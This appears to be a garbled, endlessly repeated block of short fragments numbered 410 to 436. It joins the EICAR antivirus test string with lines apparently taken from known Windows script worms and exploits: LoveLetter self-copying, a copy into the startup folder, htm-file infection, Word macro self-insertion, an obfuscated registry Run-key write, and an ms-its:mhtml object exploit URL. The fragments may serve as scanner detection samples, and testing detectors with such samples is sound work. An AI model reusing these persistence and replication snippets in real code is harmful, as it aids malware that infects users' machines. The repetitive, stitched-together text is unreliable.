 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

410

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

411

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

412

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

413

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

414

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

415

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

416

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

417

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

418

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

419

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

420

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

421

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

422

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

423

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

424

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

425

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

426

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

427

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

428

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

429

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

430

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

431

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

432

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

433

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

434

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

435

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

436

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
